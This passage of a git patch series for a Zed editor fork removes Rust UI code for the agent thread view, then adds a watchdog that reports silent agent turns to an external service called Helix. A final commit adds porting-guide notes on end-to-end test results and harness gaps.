-                                zed_actions::wsl_actions::OpenWsl::default().boxed_clone(),
-                                cx,
-                            );
-                            cx.notify();
-                        }
-                    })),
-            )
-            .dismiss_action(
-                IconButton::new("dismiss", IconName::Close)
-                    .icon_size(IconSize::Small)
-                    .icon_color(Color::Muted)
-                    .tooltip(Tooltip::text("Dismiss Warning"))
-                    .on_click(cx.listener({
-                        move |this, _, _, cx| {
-                            this.show_codex_windows_warning = false;
-                            cx.notify();
-                        }
-                    })),
-            )
-    }
-
-    fn render_new_version_callout(&self, version: &SharedString, cx: &mut Context<Self>) -> Div {
-        let server_view = self.server_view.clone();
-        v_flex().w_full().justify_end().child(
-            h_flex()
-                .p_2()
-                .pr_3()
-                .w_full()
-                .gap_1p5()
-                .border_t_1()
-                .border_color(cx.theme().colors().border)
-                .bg(cx.theme().colors().element_background)
-                .child(
-                    h_flex()
-                        .flex_1()
-                        .gap_1p5()
-                        .child(
-                            Icon::new(IconName::Download)
-                                .color(Color::Accent)
-                                .size(IconSize::Small),
-                        )
-                        .child(Label::new("New version available").size(LabelSize::Small)),
-                )
-                .child(
-                    Button::new("update-button", format!("Update to v{}", version))
-                        .label_size(LabelSize::Small)
-                        .style(ButtonStyle::Tinted(TintColor::Accent))
-                        .on_click(move |_, window, cx| {
-                            server_view
-                                .update(cx, |view, cx| view.reset(window, cx))
-                                .ok();
-                        }),
-                ),
-        )
-    }
-
-    fn render_token_limit_callout(&self, cx: &mut Context<Self>) -> Option<Callout> {
-        if self.token_limit_callout_dismissed {
-            return None;
-        }
-
-        let token_usage = self.thread.read(cx).token_usage()?;
-        let ratio = token_usage.ratio();
-
-        let (severity, icon, title) = match ratio {
-            acp_thread::TokenUsageRatio::Normal => return None,
-            acp_thread::TokenUsageRatio::Warning => (
-                Severity::Warning,
-                IconName::Warning,
-                "Thread reaching the token limit soon",
-            ),
-            acp_thread::TokenUsageRatio::Exceeded => (
-                Severity::Error,
-                IconName::XCircle,
-                "Thread reached the token limit",
-            ),
-        };
-
-        let description = "To continue, start a new thread from a summary.";
-
-        Some(
-            Callout::new()
-                .severity(severity)
-                .icon(icon)
-                .title(title)
-                .description(description)
-                .actions_slot(
-                    h_flex().gap_0p5().child(
-                        Button::new("start-new-thread", "Start New Thread")
-                            .label_size(LabelSize::Small)
-                            .on_click(cx.listener(|this, _, window, cx| {
-                                let session_id = this.thread.read(cx).session_id().clone();
-                                window.dispatch_action(
-                                    crate::NewNativeAgentThreadFromSummary {
-                                        from_session_id: session_id,
-                                    }
-                                    .boxed_clone(),
-                                    cx,
-                                );
-                            })),
-                    ),
-                )
-                .dismiss_action(self.dismiss_error_button(cx)),
-        )
-    }
-
-    fn open_permission_dropdown(
-        &mut self,
-        _: &crate::OpenPermissionDropdown,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.permission_dropdown_handle.clone().toggle(window, cx);
-    }
-
-    fn open_add_context_menu(
-        &mut self,
-        _action: &OpenAddContextMenu,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let menu_handle = self.add_context_menu_handle.clone();
-        window.defer(cx, move |window, cx| {
-            menu_handle.toggle(window, cx);
-        });
-    }
-
-    fn cycle_thinking_effort(&mut self, cx: &mut Context<Self>) {
-        let Some(thread) = self.as_native_thread(cx) else {
-            return;
-        };
-
-        let (effort_levels, current_effort) = {
-            let thread_ref = thread.read(cx);
-            let Some(model) = thread_ref.model() else {
-                return;
-            };
-            if !model.supports_thinking() || !thread_ref.thinking_enabled() {
-                return;
-            }
-            let effort_levels = model.supported_effort_levels();
-            if effort_levels.is_empty() {
-                return;
-            }
-            let current_effort = thread_ref.thinking_effort().cloned();
-            (effort_levels, current_effort)
-        };
-
-        let current_index = current_effort.and_then(|current| {
-            effort_levels
-                .iter()
-                .position(|level| level.value == current)
-        });
-        let next_index = match current_index {
-            Some(index) => (index + 1) % effort_levels.len(),
-            None => 0,
-        };
-        let next_effort = effort_levels[next_index].value.to_string();
-
-        thread.update(cx, |thread, cx| {
-            thread.set_thinking_effort(Some(next_effort.clone()), cx);
-
-            let fs = thread.project().read(cx).fs().clone();
-            update_settings_file(fs, cx, move |settings, _| {
-                if let Some(agent) = settings.agent.as_mut()
-                    && let Some(default_model) = agent.default_model.as_mut()
-                {
-                    default_model.effort = Some(next_effort);
-                }
-            });
-        });
-    }
-
-    fn toggle_thinking_effort_menu(
-        &mut self,
-        _action: &ToggleThinkingEffortMenu,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let menu_handle = self.thinking_effort_menu_handle.clone();
-        window.defer(cx, move |window, cx| {
-            menu_handle.toggle(window, cx);
-        });
-    }
-}
-
-impl Render for AcpThreadView {
-    fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let has_messages = self.list_state.item_count() > 0;
-
-        let conversation = v_flex().flex_1().map(|this| {
-            let this = this.when(self.resumed_without_history, |this| {
-                this.child(Self::render_resume_notice(cx))
-            });
-            if has_messages {
-                let list_state = self.list_state.clone();
-                this.child(self.render_entries(cx))
-                    .vertical_scrollbar_for(&list_state, window, cx)
-                    .into_any()
-            } else {
-                this.child(self.render_recent_history(cx)).into_any()
-            }
-        });
-
-        v_flex()
-            .key_context("AcpThread")
-            .track_focus(&self.focus_handle)
-            .on_action(cx.listener(|this, _: &menu::Cancel, _, cx| {
-                if this.parent_id.is_none() {
-                    this.cancel_generation(cx);
-                }
-            }))
-            .on_action(cx.listener(|this, _: &workspace::GoBack, window, cx| {
-                if let Some(parent_session_id) = this.parent_id.clone() {
-                    this.server_view
-                        .update(cx, |view, cx| {
-                            view.navigate_to_session(parent_session_id, window, cx);
-                        })
-                        .ok();
-                }
-            }))
-            .on_action(cx.listener(Self::keep_all))
-            .on_action(cx.listener(Self::reject_all))
-            .on_action(cx.listener(Self::undo_last_reject))
-            .on_action(cx.listener(Self::allow_always))
-            .on_action(cx.listener(Self::allow_once))
-            .on_action(cx.listener(Self::reject_once))
-            .on_action(cx.listener(Self::handle_authorize_tool_call))
-            .on_action(cx.listener(Self::handle_select_permission_granularity))
-            .on_action(cx.listener(Self::open_permission_dropdown))
-            .on_action(cx.listener(Self::open_add_context_menu))
-            .on_action(cx.listener(|this, _: &ToggleThinkingMode, _window, cx| {
-                if let Some(thread) = this.as_native_thread(cx) {
-                    thread.update(cx, |thread, cx| {
-                        thread.set_thinking_enabled(!thread.thinking_enabled(), cx);
-                    });
-                }
-            }))
-            .on_action(cx.listener(|this, _: &CycleThinkingEffort, _window, cx| {
-                this.cycle_thinking_effort(cx);
-            }))
-            .on_action(cx.listener(Self::toggle_thinking_effort_menu))
-            .on_action(cx.listener(|this, _: &SendNextQueuedMessage, window, cx| {
-                this.send_queued_message_at_index(0, true, window, cx);
-            }))
-            .on_action(cx.listener(|this, _: &RemoveFirstQueuedMessage, _, cx| {
-                this.remove_from_queue(0, cx);
-                cx.notify();
-            }))
-            .on_action(cx.listener(|this, _: &EditFirstQueuedMessage, window, cx| {
-                if let Some(editor) = this.queued_message_editors.first() {
-                    window.focus(&editor.focus_handle(cx), cx);
-                }
-            }))
-            .on_action(cx.listener(|this, _: &ClearMessageQueue, _, cx| {
-                this.local_queued_messages.clear();
-                this.sync_queue_flag_to_native_thread(cx);
-                this.can_fast_track_queue = false;
-                cx.notify();
-            }))
-            .on_action(cx.listener(|this, _: &ToggleProfileSelector, window, cx| {
-                if let Some(config_options_view) = this.config_options_view.clone() {
-                    let handled = config_options_view.update(cx, |view, cx| {
-                        view.toggle_category_picker(
-                            acp::SessionConfigOptionCategory::Mode,
-                            window,
-                            cx,
-                        )
-                    });
-                    if handled {
-                        return;
-                    }
-                }
-
-                if let Some(profile_selector) = this.profile_selector.clone() {
-                    profile_selector.read(cx).menu_handle().toggle(window, cx);
-                } else if let Some(mode_selector) = this.mode_selector.clone() {
-                    mode_selector.read(cx).menu_handle().toggle(window, cx);
-                }
-            }))
-            .on_action(cx.listener(|this, _: &CycleModeSelector, window, cx| {
-                if let Some(config_options_view) = this.config_options_view.clone() {
-                    let handled = config_options_view.update(cx, |view, cx| {
-                        view.cycle_category_option(
-                            acp::SessionConfigOptionCategory::Mode,
-                            false,
-                            cx,
-                        )
-                    });
-                    if handled {
-                        return;
-                    }
-                }
-
-                if let Some(profile_selector) = this.profile_selector.clone() {
-                    profile_selector.update(cx, |profile_selector, cx| {
-                        profile_selector.cycle_profile(cx);
-                    });
-                } else if let Some(mode_selector) = this.mode_selector.clone() {
-                    mode_selector.update(cx, |mode_selector, cx| {
-                        mode_selector.cycle_mode(window, cx);
-                    });
-                }
-            }))
-            .on_action(cx.listener(|this, _: &ToggleModelSelector, window, cx| {
-                if let Some(config_options_view) = this.config_options_view.clone() {
-                    let handled = config_options_view.update(cx, |view, cx| {
-                        view.toggle_category_picker(
-                            acp::SessionConfigOptionCategory::Model,
-                            window,
-                            cx,
-                        )
-                    });
-                    if handled {
-                        return;
-                    }
-                }
-
-                if let Some(model_selector) = this.model_selector.clone() {
-                    model_selector
-                        .update(cx, |model_selector, cx| model_selector.toggle(window, cx));
-                }
-            }))
-            .on_action(cx.listener(|this, _: &CycleFavoriteModels, window, cx| {
-                if let Some(config_options_view) = this.config_options_view.clone() {
-                    let handled = config_options_view.update(cx, |view, cx| {
-                        view.cycle_category_option(
-                            acp::SessionConfigOptionCategory::Model,
-                            true,
-                            cx,
-                        )
-                    });
-                    if handled {
-                        return;
-                    }
-                }
-
-                if let Some(model_selector) = this.model_selector.clone() {
-                    model_selector.update(cx, |model_selector, cx| {
-                        model_selector.cycle_favorite_models(window, cx);
-                    });
-                }
-            }))
-            .size_full()
-            .children(self.render_subagent_titlebar(cx))
-            .child(conversation)
-            .children(self.render_activity_bar(window, cx))
-            .when(self.show_codex_windows_warning, |this| {
-                this.child(self.render_codex_windows_warning(cx))
-            })
-            .children(self.render_thread_retry_status_callout())
-            .children(self.render_thread_error(window, cx))
-            .when_some(
-                match has_messages {
-                    true => None,
-                    false => self.new_server_version_available.clone(),
-                },
-                |this, version| this.child(self.render_new_version_callout(&version, cx)),
-            )
-            .children(self.render_token_limit_callout(cx))
-            .child(self.render_message_editor(window, cx))
-    }
-}
-
-pub(crate) fn open_link(
-    url: SharedString,
-    workspace: &WeakEntity<Workspace>,
-    window: &mut Window,
-    cx: &mut App,
-) {
-    let Some(workspace) = workspace.upgrade() else {
-        cx.open_url(&url);
-        return;
-    };
-
-    if let Some(mention) = MentionUri::parse(&url, workspace.read(cx).path_style(cx)).log_err() {
-        workspace.update(cx, |workspace, cx| match mention {
-            MentionUri::File { abs_path } => {
-                let project = workspace.project();
-                let Some(path) =
-                    project.update(cx, |project, cx| project.find_project_path(abs_path, cx))
-                else {
-                    return;
-                };
-
-                workspace
-                    .open_path(path, None, true, window, cx)
-                    .detach_and_log_err(cx);
-            }
-            MentionUri::PastedImage => {}
-            MentionUri::Directory { abs_path } => {
-                let project = workspace.project();
-                let Some(entry_id) = project.update(cx, |project, cx| {
-                    let path = project.find_project_path(abs_path, cx)?;
-                    project.entry_for_path(&path, cx).map(|entry| entry.id)
-                }) else {
-                    return;
-                };
-
-                project.update(cx, |_, cx| {
-                    cx.emit(project::Event::RevealInProjectPanel(entry_id));
-                });
-            }
-            MentionUri::Symbol {
-                abs_path: path,
-                line_range,
-                ..
-            }
-            | MentionUri::Selection {
-                abs_path: Some(path),
-                line_range,
-            } => {
-                let project = workspace.project();
-                let Some(path) =
-                    project.update(cx, |project, cx| project.find_project_path(path, cx))
-                else {
-                    return;
-                };
-
-                let item = workspace.open_path(path, None, true, window, cx);
-                window
-                    .spawn(cx, async move |cx| {
-                        let Some(editor) = item.await?.downcast::<Editor>() else {
-                            return Ok(());
-                        };
-                        let range =
-                            Point::new(*line_range.start(), 0)..Point::new(*line_range.start(), 0);
-                        editor
-                            .update_in(cx, |editor, window, cx| {
-                                editor.change_selections(
-                                    SelectionEffects::scroll(Autoscroll::center()),
-                                    window,
-                                    cx,
-                                    |s| s.select_ranges(vec![range]),
-                                );
-                            })
-                            .ok();
-                        anyhow::Ok(())
-                    })
-                    .detach_and_log_err(cx);
-            }
-            MentionUri::Selection { abs_path: None, .. } => {}
-            MentionUri::Thread { id, name } => {
-                if let Some(panel) = workspace.panel::<AgentPanel>(cx) {
-                    panel.update(cx, |panel, cx| {
-                        panel.open_thread(
-                            AgentSessionInfo {
-                                session_id: id,
-                                cwd: None,
-                                title: Some(name.into()),
-                                updated_at: None,
-                                meta: None,
-                            },
-                            window,
-                            cx,
-                        )
-                    });
-                }
-            }
-            MentionUri::TextThread { path, .. } => {
-                if let Some(panel) = workspace.panel::<AgentPanel>(cx) {
-                    panel.update(cx, |panel, cx| {
-                        panel
-                            .open_saved_text_thread(path.as_path().into(), window, cx)
-                            .detach_and_log_err(cx);
-                    });
-                }
-            }
-            MentionUri::Rule { id, .. } => {
-                let PromptId::User { uuid } = id else {
-                    return;
-                };
-                window.dispatch_action(
-                    Box::new(OpenRulesLibrary {
-                        prompt_to_select: Some(uuid.0),
-                    }),
-                    cx,
-                )
-            }
-            MentionUri::Fetch { url } => {
-                cx.open_url(url.as_str());
-            }
-            MentionUri::Diagnostics { .. } => {}
-            MentionUri::TerminalSelection { .. } => {}
-            MentionUri::GitDiff { .. } => {}
-        })
-    } else {
-        cx.open_url(&url);
-    }
-}

From 9b82c23d5fda4e9091733f0c377b3931699359e1 Mon Sep 17 00:00:00 2001
From: Luke Marsden <me@lukemarsden.net>
Date: Wed, 29 Jul 2026 19:12:20 +0100
Subject: [PATCH 771/772] fix(sync): cover UI-originated turns in the
 silent-agent watchdog
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

The send-path watchdog only wraps turns Helix dispatched via
handle_follow_up_message. A turn started by the user typing directly into the
Zed agent panel goes agent_ui -> AcpThread::send() and never passes through it —
which is exactly how the 2026-07-29 production wedge was triggered.

Adds spawn_silent_turn_watchdog(), a per-thread task started alongside the
persistent subscription. It watches ThreadStatus::Generating together with the
THREAD_ACTIVITY counter, so it covers every turn regardless of origin. A turn
that is generating but has produced ZERO events for longer than the first-event
budget is reported to Helix as a terminal chat_response_error, marking the
interaction errored and freeing the activation lane instead of leaving it in
'waiting' forever with nothing surfaced in either UI.

Deliberately does NOT call thread.cancel(): the Stopped handler would then emit
message_completed on top of this error and Helix would see the turn as both
failed and completed. Leaving the turn alone is safe — the next send() displaces
it (cancelling it via Critical Fix #8), so Zed self-heals on the user's next
message while Helix has already been told the truth.

cargo test -p external_websocket_sync: 55 passed.
cargo check -p zed --features external_websocket_sync: clean.
---
 .../src/thread_service.rs                     | 92 +++++++++++++++++++
 1 file changed, 92 insertions(+)

diff --git a/crates/external_websocket_sync/src/thread_service.rs b/crates/external_websocket_sync/src/thread_service.rs
index 7a334cde91d99f..930e84ac068d1d 100644
--- a/crates/external_websocket_sync/src/thread_service.rs
+++ b/crates/external_websocket_sync/src/thread_service.rs
@@ -1234,6 +1234,98 @@ pub fn ensure_thread_subscription(
             _ => {}
         }
     }).detach();
+
+    spawn_silent_turn_watchdog(thread_entity, thread_id, cx);
+}
+
+/// Origin-agnostic companion to the watchdog in [`handle_follow_up_message`].
+///
+/// The send-path watchdog only wraps turns that Helix dispatched. A turn started
+/// by the user typing directly into the Zed agent panel goes `agent_ui` →
+/// `AcpThread::send()` and never passes through `handle_follow_up_message` — yet
+/// that is exactly how the 2026-07-29 production wedge was triggered. This task
+/// watches the thread itself, so it covers every turn regardless of origin.
+///
+/// It observes `ThreadStatus::Generating` (i.e. `running_turn.is_some()`) and the
+/// [`THREAD_ACTIVITY`] counter. A turn that is generating but has produced ZERO
+/// events for longer than the first-event budget is reported to Helix as a
+/// terminal `chat_response_error`, which marks the interaction errored and frees
+/// the activation lane instead of leaving it in `waiting` forever.
+///
+/// Deliberately does NOT call `thread.cancel()`: the Stopped handler would then
+/// emit `message_completed` on top of this error and Helix would see the turn as
+/// both failed and completed. Leaving the turn alone is safe — the next
+/// `send()` displaces it (which cancels it via Critical Fix #8), so Zed
+/// self-heals on the user's next message while Helix has already been told the
+/// truth.
+fn spawn_silent_turn_watchdog(thread_entity: &Entity<AcpThread>, thread_id: &str, cx: &mut App) {
+    let Some(budget) = first_event_timeout() else {
+        return;
+    };
+    const POLL: Duration = Duration::from_secs(5);
+
+    let weak = thread_entity.downgrade();
+    let thread_id = thread_id.to_string();
+
+    cx.spawn(async move |cx| {
+        // Per-turn state: when the current generating turn was first seen, and
+        // the activity count at that moment.
+        let mut turn_started_at: Option<Instant> = None;
+        let mut baseline: u64 = 0;
+        let mut reported = false;
+
+        loop {
+            cx.background_executor().timer(POLL).await;
+
+            let Some(thread) = weak.upgrade() else {
+                return; // thread gone — stop watching
+            };
+            let status = cx.update(|cx| thread.read(cx).status());
+
+            match status {
+                acp_thread::ThreadStatus::Idle => {
+                    // Turn boundary: re-arm for the next one.
+                    turn_started_at = None;
+                    reported = false;
+                }
+                acp_thread::ThreadStatus::Generating => {
+                    let started = *turn_started_at.get_or_insert_with(|| {
+                        baseline = activity_count(&thread_id);
+                        Instant::now()
+                    });
+
+                    if activity_count(&thread_id) > baseline {
+                        // Proof of life — disarm for the rest of this turn.
+                        reported = true;
+                        continue;
+                    }
+
+                    if !reported && started.elapsed() >= budget {
+                        reported = true;
+                        let request_id = crate::get_thread_request_id(&thread_id)
+                            .unwrap_or_default();
+                        let msg = format!(
+                            "{}: agent has been generating for {:?} without emitting a single \
+                             event on thread {} — treating the agent session as wedged",
+                            SILENT_PROMPT_WEDGE_MARKER,
+                            started.elapsed(),
+                            thread_id
+                        );
+                        eprintln!("🛑 [THREAD_SERVICE] {}", msg);
+                        log::warn!("🛑 [THREAD_SERVICE] {}", msg);
+
+                        if !request_id.is_empty() {
+                            let _ = crate::send_websocket_event(SyncEvent::ChatResponseError {
+                                request_id,
+                                error: msg,
+                            });
+                        }
+                    }
+                }
+            }
+        }
+    })
+    .detach();
 }
 
 /// Setup WebSocket thread handler for a workspace

From d1dffb81161ce79abf76206df03bd44b0e90e3cc Mon Sep 17 00:00:00 2001
From: Luke Marsden <me@lukemarsden.net>
Date: Wed, 29 Jul 2026 19:31:21 +0100
Subject: [PATCH 772/772] docs(porting): record E2E validation for the
 2026-07-29 merge

Both agent rounds green on the final tree (17/17 each, store validation passed).

Also records the first run's claude-round flake, whose signature differs from the
previously-documented one (0 events / npx bootstrap): this time the agent produced
a correct answer and then never sent message_completed. Did not reproduce on re-run,
and the likely regression candidate was ruled out by inspection.

Notes two harness gaps it exposed: run_e2e.sh queries the wrong npm scope for the
agent version (@anthropic-ai/... instead of @agentclientprotocol/...), so the
attribution log line is always 'unknown'; and the npm path is unpinned, so the
claude round is not reproducible across time.
---
 portingguide.md | 33 +++++++++++++++++++++++++++++++++
 1 file changed, 33 insertions(+)

diff --git a/portingguide.md b/portingguide.md
index 19bb70e1b7d6cd..8d65dd8e45f005 100644
--- a/portingguide.md
+++ b/portingguide.md
@@ -806,6 +806,39 @@ Two build warnings, both expected/not ours:
   PR #49763 organization selector). Left alone; patching upstream here would only add future
   conflict surface.
 
+### Validation
+
+- `cargo check --package zed --features external_websocket_sync`: **PASSED**, 0 errors.
+  Two warnings, both expected/not ours (see above).
+- `cargo test -p acp_thread`: **127 passed, 1 ignored** (the documented Critical Fix #8
+  divergence).
+- `cargo test -p external_websocket_sync`: **55 passed, 4 ignored**.
+- Drift sweep (`script/helix-drift-sweep.sh`): **28/28**, run after every round.
+- `./stack build-zed dev`: **PASSED**, binary 606MB.
+- E2E `E2E_AGENTS="zed-agent,claude" ./run_docker_e2e.sh`: **PASSED** on the final tree —
+  `[zed-agent]` all 17 phases, `[claude]` all 17 phases, `[store] PASSED`
+  (40 interactions / 15 sessions; response-entries isolation checked across 34
+  interactions in 10 sessions; accumulation 36 with content, interrupted/cancelled 0).
+
+**First E2E run flaked in the claude round** and is worth recording, because the
+signature differs from the previously-documented flake. Prior rounds (001996, 002077)
+saw claude Phase 1 time out with **0 events** (npx bootstrap). This time Phase 1
+received **3 events** — `agent_ready`, `thread_created`, and an assistant
+`message_added` with the correct answer — and then no `message_completed` at all: the
+agent produced output and never closed the turn. It did **not** reproduce on the
+re-run (Phase 1 completed in ~48s), and the most likely regression candidate was ruled
+out by inspection (`stopped_emitted` is constructed per turn at `acp_thread.rs:3789`
+and set only in `cancel()`, so the Critical Fix #6/#9 guard cannot leak across turns
+and suppress a legitimate `Stopped`).
+
+Two harness gaps this exposed, both worth fixing:
+- `e2e-test/run_e2e.sh:204` reports the agent version via
+  `npm view @anthropic-ai/claude-agent-acp version`, but Zed installs
+  **`@agentclientprotocol/claude-agent-acp`** (see `crates/agent_servers/`). Wrong scope
+  ⇒ always `unknown`, so the one line that would attribute a claude-round failure to an
+  agent-package change rather than to our code is useless.
+- The npm path is unpinned, so the claude round is not reproducible across time.
+
 ### The message-queue rework (upstream PR #59310)
 
 Round 1 absorbed `5c58d5c49a` "agent_ui: Refactor the queue feature and add steering ability",